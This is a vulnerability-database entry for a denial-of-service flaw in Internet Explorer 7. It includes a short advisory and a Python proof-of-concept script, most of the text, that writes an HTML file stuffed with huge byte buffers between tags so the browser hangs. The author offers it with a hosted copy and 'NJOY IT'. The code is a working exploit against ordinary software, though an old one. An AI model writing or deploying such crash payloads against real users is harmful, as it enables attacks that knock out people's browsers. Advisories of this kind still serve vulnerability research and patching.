Microsoft Internet Explorer 7.0 HTML Denial of Service Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Microsoft Internet Explorer 7.0 Denial of Service Vulnerabilit


                                                source: http://www.securityfocus.com/bid/23178/info

Microsoft Internet Explorer is prone to a denial-of-service vulnerability because the application fails to handle exceptional conditions.

This issue is triggered when an attacker entices a victim user to visit a malicious website.

Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users.

This issue affects Internet Explorer version 7. 

# usr/bin/python

print &#34;-------------------------------------------------------------------------&#34;
print &#34; Internet Explorer 7.0.5730.11 Denial of Service&#34;
print &#34; author: shinnai&#34;
print &#34; mail: shinnai[at]autistici[dot]org&#34;
print &#34; site: http://shinnai.altervista.org\n&#34;
print &#34; For convenience I post up a script in python that create a .html file&#34;
print &#34; You can open it locally, upload and browse it or directely browse here:\n&#34;
print &#34; http://www.shinnai.altervista.org/ie_dos.html\n&#34;
print &#34; About 60 seconds and IE7 stops to answer :)&#34;
print &#34;-------------------------------------------------------------------------&#34;

tagHtml = &#34;&#60;html&#62;&#34;
tagHtmlC = &#34;&#60;/html&#62;&#34;
tagHead = &#34;&#60;head&#62;&#34;
tagHeadC = &#34;&#60;/head&#62;&#34;
tagTitle = &#34;&#60;title&#62;&#34;
tagTitleC = &#34;&#60;/title&#62;&#34;

buff= &#34;\x90&#34; * 80000

boom = tagHtml + buff  + tagHead + buff + tagTitle + buff + tagTitleC + tagHeadC + tagHtmlC

try:
   fileOut = open(&#39;ie_dos.html&#39;,&#39;w&#39;)
   fileOut.write(boom)
   fileOut.close()
   print &#34;\nFILE CREATED!\n&#39;NJOY IT...\n&#34;
except:
   print &#34;\nUNABLE TO CREATE FILE!\n&#34;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1